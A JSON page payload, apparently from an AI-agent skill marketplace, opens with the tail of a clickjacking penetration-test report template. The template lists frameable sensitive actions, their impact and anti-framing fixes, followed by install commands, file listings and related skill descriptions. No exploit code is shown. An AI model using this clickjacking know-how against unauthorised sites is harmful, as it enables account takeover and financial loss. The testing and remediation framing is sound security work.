re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"subdomain":35,"description":7},[26,27,28,29,30,31],"penetration-testing","clickjacking","ui-redressing","web-security","owasp","x-frame-options","mahipal","cybersecurity","1.0","web-application-security","main","99825ad3f3bcc6597ddcc7294a14e6e922f2b67b","skills\u002Fperforming-clickjacking-attack-test",0,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills","https:\u002F\u002Fgithub.com\u002Fjukeyman","https:\u002F\u002FRJBUSINESSSOLUTIONS.ORG","Credit and Finance Expert | Developer\r\n\r\nI'm Rick Jefferson, a seasoned credit and finance expert with over a decade of experience in financial literacy,","2026-07-13 07:03:29",{"source":8,"skillName":5,"commands":46,"prompt":56,"zipAvailable":57},[47,50,53],{"tool":48,"command":49},"npx","npx skills add jukeyman\u002Fjukeyman-skills --skill performing-clickjacking-attack-test",{"tool":51,"command":52},"bunx","bunx skills add jukeyman\u002Fjukeyman-skills --skill performing-clickjacking-attack-test",{"tool":54,"command":55},"pnpm","pnpm dlx skills add jukeyman\u002Fjukeyman-skills --skill performing-clickjacking-attack-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",true,[59,63,69],{"path":60,"resourceType":60,"resourceTypeDesc":61,"sizeBytes":62,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":64,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":68},"references\u002Fapi-reference.md","REFERENCE","参考文档",2222,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002Freferences\u002Fapi-reference.md",{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"scripts\u002Fagent.py","SCRIPT","脚本",7479,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002Fscripts\u002Fagent.py",[76,84,91,98,105,113],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":20},"01M79ANS2SM329NEP5ZCX106RR","zustand-store-creator","Create zustand store creator operations. Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category. Use when working with zustand store creator functionality. Trigger with phrases like \"zustand store creator\", \"zustand creator\", \"zustand\".","MIT","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M79AMZKP4YDEZ7EHG1Y7PP74","zero-trust-config-helper","Configure with zero trust config helper operations. Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category. Use when configuring systems or services. Trigger with phrases like \"zero trust config helper\", \"zero helper\", \"zero\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M79AMJSBCEJQNBTYNAHYN5HM","zapier-integration-helper","Assist with zapier integration helper operations. Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category. Use when working with APIs or building integrations. Trigger with phrases like \"zapier integration helper\", \"zapier helper\", \"zapier\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M79AHJZGVMARS13VFQYRR1MP","yaml-config-validator","Validate yaml config validator operations. Auto-activating skill for DevOps Basics.\nTriggers on: yaml config validator, yaml config validator\nPart of the DevOps Basics skill category. Use when configuring systems or services. Trigger with phrases like \"yaml config validator\", \"yaml validator\", \"yaml\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fyaml-config-validator\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M79AHGDZRN0020RDQSQDPAM8","xvary-stock-research","Thesis-driven equity analysis from public SEC EDGAR and market data; \u002Fanalyze, \u002Fscore, \u002Fcompare workflows with bundled Python tools (Claude Code, Cursor, Codex).","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M79AHCYJ9FV9RMHQ24HDRN33","xss-vulnerability-scanner","Scan xss vulnerability scanner operations. Auto-activating skill for Security Fundamentals.\nTriggers on: xss vulnerability scanner, xss vulnerability scanner\nPart of the Security Fundamentals skill category. Use when working with xss vulnerability scanner functionality. Trigger with phrases like \"xss vulnerability scanner\", \"xss scanner\", \"xss\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxss-vulnerability-scanner\u002FSKILL.md",[],[]]